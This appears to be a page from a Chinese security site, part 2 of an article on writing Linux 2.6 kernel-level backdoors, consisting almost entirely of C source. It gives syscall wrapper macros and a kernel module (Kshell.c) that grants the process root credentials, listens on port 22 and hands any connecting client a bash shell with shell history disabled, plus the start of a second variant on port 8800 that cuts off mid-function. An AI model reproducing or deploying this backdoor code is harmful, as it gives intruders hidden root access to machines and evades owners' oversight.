快捷搜索:   服务器  安全  linux 安全  MYSQL  dedecms

抒写Linux 2.6.x下内核级后门程序(2)


  do { \
  if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \
  errno = -(res); \
  res = -1; \
  } \
  return (type) (res); \
  } while (0)
  /* XXX - _foo needs to be __foo, while __NR_bar could be _NR_bar. */
  #define my_syscall0(type,name) \
  type name(void) \
  { \
  long __res; \
  __asm__ volatile ("int $0x80" \
  : "=a" (__res) \
  : "0" (__NR_##name)); \
  my__syscall_return(type,__res); \
  }
  #define my_syscall1(type,name,type1,arg1) \
  type name(type1 arg1) \
  { \
  long __res; \
  __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
  : "=a" (__res) \
  : "0" (__NR_##name),"ri" ((long)(arg1)) : "memory"); \
  my__syscall_return(type,__res); \
  }
  #define my_syscall2(type,name,type1,arg1,type2,arg2) \
  type name(type1 arg1,type2 arg2) \
  { \
  long __res; \
  __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
  : "=a" (__res) \
  : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)) \
  : "memory"); \
  my__syscall_return(type,__res); \
  }
  #define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
  type name(type1 arg1,type2 arg2,type3 arg3) \
  { \
  long __res; \
  __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
  : "=a" (__res) \
  : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
  "d" ((long)(arg3)) : "memory"); \
  my__syscall_return(type,__res); \
  }
  #define my_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
  type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
  { \
  long __res; \
  __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
  : "=a" (__res) \
  : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
  "d" ((long)(arg3)),"S" ((long)(arg4)) : "memory"); \
  my__syscall_return(type,__res); \
  }
  #define my_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
  type5,arg5) \
  type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
  { \
  long __res; \
  __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; movl %1,%%eax ; " \
  "int $0x80 ; pop %%ebx" \
  : "=a" (__res) \
  : "i" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
  "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)) \
  : "memory"); \
  my__syscall_return(type,__res); \
  }
  Kshell.c
  /*
  * kenel mode socket door v0.1
  *
  * by wzt http://www.xsec.org
  */
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include "syscalls.h"
  MODULE_LICENSE("GPL");
  MODULE_AUTHOR("wzt");
  #define __NR_e_exit __NR_exit
  #define SGID 0x489196ab
  #define HOME "/"
  static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL };
  char *env[]={
  "TERM=linux",
  "HOME=" HOME,
  "PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"
  ":/usr/local/sbin",
  "HISTFILE=/dev/null",
  NULL };
  static inline my_syscall0(pid_t, fork);
  static inline my_syscall0(long, pause);
  static inline my_syscall2(int, kill, pid_t, pid, int, sig);
  static inline my_syscall1(int, chdir, const char *, path);
  static inline my_syscall1(long, ssetmask, int, newmask);
  static inline my_syscall3(int, write, int, fd, const char *, buf, off_t, count);
  static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count);
  static inline my_syscall1(int, e_exit, int, exitcode);
  static inline my_syscall3(int, open, const char *, file, int, flag, int, mode);
  static inline my_syscall1(int, close, int, fd);
  static inline my_syscall2(int, dup2, int, oldfd, int, newfd);
  static inline my_syscall2(int, socketcall, int, call, unsigned long *, args);
  static inline my_syscall3(pid_t, waitpid, pid_t, pid, int *, status, int, options);
  static inline my_syscall3(int, execve, const char *, filename,
  const char **, argv, const char **, envp);
  static inline my_syscall3(long, ioctl, unsigned int, fd, unsigned int, cmd,
  unsigned long, arg);
  static inline my_syscall5(int, _newselect, int, n, fd_set *, readfds, fd_set *,
  writefds, fd_set *, exceptfds, struct timeval *, timeout);
  static inline my_syscall2(unsigned long, signal, int, sig,
  __sighandler_t, handler);
  /**
  * the code copy from adore-ng
  */
  int wnps_atoi(const char *str)
  {
  int ret = 0, mul = 1;
  const char *ptr;
  for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++)
  ;
  ptr--;
  while (ptr >= str) {
  if (*ptr < '0' || *ptr > '9')
  break;
  ret += (*ptr - '0') * mul;
  mul *= 10;
  ptr--;
  }
  return ret;
  }
  /**
  * in_aton - change str to ipv4 address.
  *
  * see net/core/utils.c
  */
  __u32 wnps_in_aton(const char *str)
  {
  unsigned long l;
  unsigned int val;
  int i;
  l = 0;
  for (i = 0; i < 4; i++) {
  l <<= 8;
  if (*str != '\0') {
  val = 0;
  while (*str != '\0' && *str != '.') {
  val *= 10;
  val += *str - '0';
  str++;
  }
  l |= val;
  if (*str != '\0')
  str++;
  }
  }
  return(htonl(l));
  }
  int k_listen(int port)
  {
  struct task_struct *tsk = current;
  struct sockaddr_in serv_addr;
  struct sockaddr_in cli_addr;
  mm_segment_t old_fs;
  char buff[100];
  unsigned long arg[3];
  int sock_fd, sock_id;
  int tmp_kid;
  int i, n, cli_len;
  old_fs = get_fs();
  tsk->uid = 0;
  tsk->euid = 0;
  tsk->gid = SGID;
  tsk->egid = 0;
  /* create socket */
  arg[0] = AF_INET;
  arg[1] = SOCK_STREAM;
  arg[2] = 0;
  set_fs(KERNEL_DS);
  ssetmask(~0);
  for (i=0; i < 4096; i++)
  close(i);
  if ((sock_fd = socketcall(SYS_SOCKET, arg)) == -1) {
  set_fs(old_fs);
  return 0;
  }
  printk("create socket ok.\n");
  /* bind address */
  memset((void *) &serv_addr, 0, sizeof(serv_addr));
  serv_addr.sin_family = AF_INET;
  serv_addr.sin_port = htons(port);
  serv_addr.sin_addr.s_addr = 0;
  arg[0] = sock_fd;
  arg[1] = (unsigned long) &serv_addr;
  arg[2] = (unsigned long) sizeof(serv_addr);
  if ((socketcall(SYS_BIND, arg)) == -1) {
  close(sock_fd);
  set_fs(old_fs);
  return 0;
  }
  printk("bind address ok.\n");
  /* begin listen */
  arg[0] = sock_fd;
  arg[1] = (unsigned long) 255;
  if ((socketcall(SYS_LISTEN, arg)) == -1) {
  close(sock_fd);
  set_fs(old_fs);
  return 0;
  }
  printk("listen on port %d\n", port);
  cli_len = sizeof(cli_addr);
  arg[0] = sock_fd;
  arg[1] = (unsigned long) &cli_addr;
  arg[2] = (unsigned long) &cli_len;
  if ((sock_id = socketcall(SYS_ACCEPT, arg)) == -1) {
  printk("accept error.\n");
  close(sock_fd);
  set_fs(old_fs);
  return 0;
  }
  printk("accept a client.\n");
  dup2(sock_id, 0);
  dup2(sock_id, 1);
  dup2(sock_id, 2);
  execve(earg[0], (const char **) earg, (const char **) env);
  close(sock_id);
  close(sock_fd);
  set_fs(old_fs);
  return 1;
  }
  static int ksocket_init(void)
  {
  printk("ksocket start.\n");
  k_listen(22);
  }
  static void ksocket_exit(void)
  {
  printk("ksocket exit.\n");
  }
  module_init(ksocket_init);
  module_exit(ksocket_exit);
  Kshell1.c
  /*
  * kenel mode socket door v0.1
  *
  * by wzt http://www.xsec.org
  */
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include "syscalls.h"
  #define port 8800
  #define LEN 256
  MODULE_LICENSE("GPL");
  MODULE_AUTHOR("wzt");
  #define SGID 0x489196ab
  #define HOME "/"
  static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL };
  char *env[]={
  "TERM=linux",
  "HOME=" HOME,
  "PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"
  ":/usr/local/sbin",
  "HISTFILE=/dev/null",
  NULL };
  static inline my_syscall2(int, dup2, int, oldfd, int, newfd);
  static inline my_syscall3(int, execve, const char *, filename,
  const char **, argv, const char **, envp);
  int kshell(int sock_fd)
  {
  struct task_struct *tsk = current;
  mm_segment_t old_fs;
  old_fs = get_fs();
  set_fs(KERNEL_DS);
  tsk->uid = 0;
  tsk->euid = 0;
  tsk->gid = SGID;
  tsk->egid = 0;
  dup2(sock_fd, 0);
  dup2(sock_fd, 1);
  dup2(sock_fd, 2);
  execve(earg[0], (const char **) earg, (const char **) env);
  set_fs(old_fs);
  return 1;
  }
  int k_listen(void)
  {
  struct socket *sock,*newsock;
  struct sockaddr_in server;
  struct sockaddr client[128];
  char address[128];
  int sockfd, sockid, i,size = 0;
  int error = 0,len = sizeof(struct sockaddr);
  //set_fs(KERNEL_DS);
  error = sock_create(AF_INET,SOCK_STREAM,0,&sock);
  if (error < 0) {
  printk("[-] socket_create failed: %d\n",error);
  sock_release(sock);
  return -1;
  }
  sockfd = sock_map_fd(sock);
  if (sockfd < 0) {
顶(0)
踩(0)

您可能还会对下面的文章感兴趣:

最新评论